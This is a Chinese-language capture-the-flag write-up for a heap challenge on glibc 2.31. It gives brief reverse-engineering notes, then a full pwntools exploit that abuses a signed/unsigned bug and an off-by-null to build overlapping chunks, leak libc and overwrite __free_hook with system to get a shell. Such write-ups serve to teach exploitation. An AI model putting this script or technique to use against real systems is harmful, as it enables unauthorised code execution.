每周一pwn系列

题目描述:Torghast, Tower of the Damned

基本信息

2.31-0ubuntu9.7

逆向分析

  • 主函数

  • join_game()
    有三个boss,分别是HP 10,HP 1000,HP ????。要全部打败才能继续


在use magic里面有个漏洞,有符号数转无符号数,把mp扣成负数就会转为一个非常大的无符号数从而满足条件

  • player_manage()
    堆菜单,没有size限制

show函数在 join_game() 里:

而show的索引由 select_user()控制

漏洞利用

经过测试,edit存在 off by null

off by null - 情况二

构造 overlap 然后 tcache 打 free_hook

EXP

有 1/16 的概率打通

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import*
#from LibcSearcher import LibcSearcher

def dbg(command): #dbg(None)
	if(len(sys.argv)!= 3):
		gdb.attach(io,gdbscript=command)
		#pause()
#------------------------------------------------------------------

def win():
	sa('Select Your Choice:',str(1))
	sa('Main Menu\n',str(1)) #1
	sa('Main Menu\n',str(2))
	sa('4. Gain Infinity HP (Only GM)',str(1))
	sa('Main Menu\n',str(2))
	sa('4. Gain Infinity HP (Only GM)',str(1))
	sa('Main Menu\n',str(1)) #2
	
	sa('Main Menu\n',str(2))
	sa('4. Gain Infinity HP (Only GM)',str(1))
	sa('Main Menu\n',str(2))
	sa('4. Gain Infinity HP (Only GM)',str(1))
	sa('Main Menu\n',str(2))
	sa('4. Gain Infinity HP (Only GM)',str(1))
	sa('Main Menu\n',str(2))
	sa('4. Gain Infinity HP (Only GM)',str(1))
	sa('Main Menu\n',str(2))
	sa('4. Gain Infinity HP (Only GM)',str(1))
	sa('Main Menu\n',str(2))
	sa('4. Gain Infinity HP (Only GM)',str(4))
	sa('Main Menu\n',str(1)) #3
	sa('Main Menu\n',str(4)) 	


def menu(choice):
	sa('Select Your Choice:',str(choice))

def add(idx,size,content):
	menu(1)
	sa('Select User Id',str(idx))
	sa('Player Data Size',str(size))
	sa('Input Data',content)

def edit(idx,content):
	menu(2)
	sa('Which Player To Change?',str(idx))
	sa('Your Log:',content)
	
def delete(idx):
	menu(3)
	sa('Which Player You Want To Delete:',str(idx))

def show(idx):
	menu(4)
	sa('Select Your Choice:',str(2))
	sa('Choose Which User?',str(idx))
	sa('Select Your Choice:',str(1))
	sa('Main Menu\n',str(3))

def pwn():	
	win()
	sa('Select Your Choice:',str(3))
	

	add(16,0x1d10,b'paddings')
	add(15,0xff0,b'paddings')
	add(14,0xff0,b'paddings')
	
	add(1,0x508,b'pppp') # prev
	add(2,0x410,b'2222')
	add(3,0xf0,b'3333')
	add(4,0xf8,b'4444')
	add(5,0x4f0,b'victim') # victim
	add(6,0xf0,b'6666')
	add(7,0x4f0,b'AAAA') # a
	add(8,0xf0,b'8888')
	add(9,0x510,b'BBBB') # b
	add(10,0xf0,b'8888')
	
	delete(7);delete(9);delete(1)
	add(11,0x600,b'aaaa')
	add(1,0x508,b'pppp')
	add(9,0x510,p16(0))
	add(7,0x4f0,b'AAAA');delete(7);delete(5)
	add(7,0x4f0,b'a'*0x8+p16(0))
	add(5,0x4f0,b'victim')
	edit(4,b'a'*0xf0+p64(0xb20))
	edit(1,p64(0)+p64(0xb21))
	delete(5)
	
	add(5,0x4f8,b'abcd')
	show(2)
	ru(b'Here Is The Adventure Log:\n',True)
	leak=u64(r(6).ljust(8,b'\x00'))
	libc.address=leak-0x1ecbe0
	lg('libc',libc.address)
	system=ls('system')
	free_hook=ls('__free_hook')
	
	sa('Main Menu\n',str(4))
	sa('Select Your Choice:',str(3))
	add(12,0x410,b'aaaa')
	add(13,0xf0,b'aaaa')
	delete(10);delete(13)
	edit(3,p64(free_hook))
	delete(14);delete(15);delete(16);
	add(14,0xf0,b'/bin/sh\x00')
	add(15,0xf0,p64(system))
	delete(14)
	
	
	#dbg('')
	itr()
	
if __name__ == '__main__':
	context(os='linux',arch='amd64',bits=64,endian='little')
	context.terminal=["tmux","splitw","-h","-l 150"]
	binary='./pwn'
	context.log_level='debug'
	elf=ELF(binary)
	libc=elf.libc
	if(len(sys.argv) == 3):
		io = remote(sys.argv[1],sys.argv[2])
	else:
		io = process(binary)
	s	  = lambda payload		:io.send(payload)
	sl   = lambda payload		:io.sendline(payload)
	sa   = lambda data,payload	:io.sendafter(data,payload)
	sla  = lambda data,payload	:io.sendlineafter(data,payload)
	r    = lambda num   		   :io.recv(numb=num)
	ru   = lambda data,DROP		:io.recvuntil(data,drop=DROP)
	rl	  = lambda 				   :io.recvline(keepends=True)
	uu32 = lambda 				   :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") ) 
	uu64 = lambda 				   :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
	ep   = lambda data 			:elf.plt[data]
	eg   = lambda data 			:elf.got[data]
	es   = lambda data       	:elf.sym[data]
	ls   = lambda data 			:libc.sym[data]		
	itr  = lambda 				   :io.interactive()
	ic   = lambda 				   :io.close()
	pt   = lambda s				:log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
	lg   = lambda name,addr 	:log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))

	pwn()

⬆︎TOP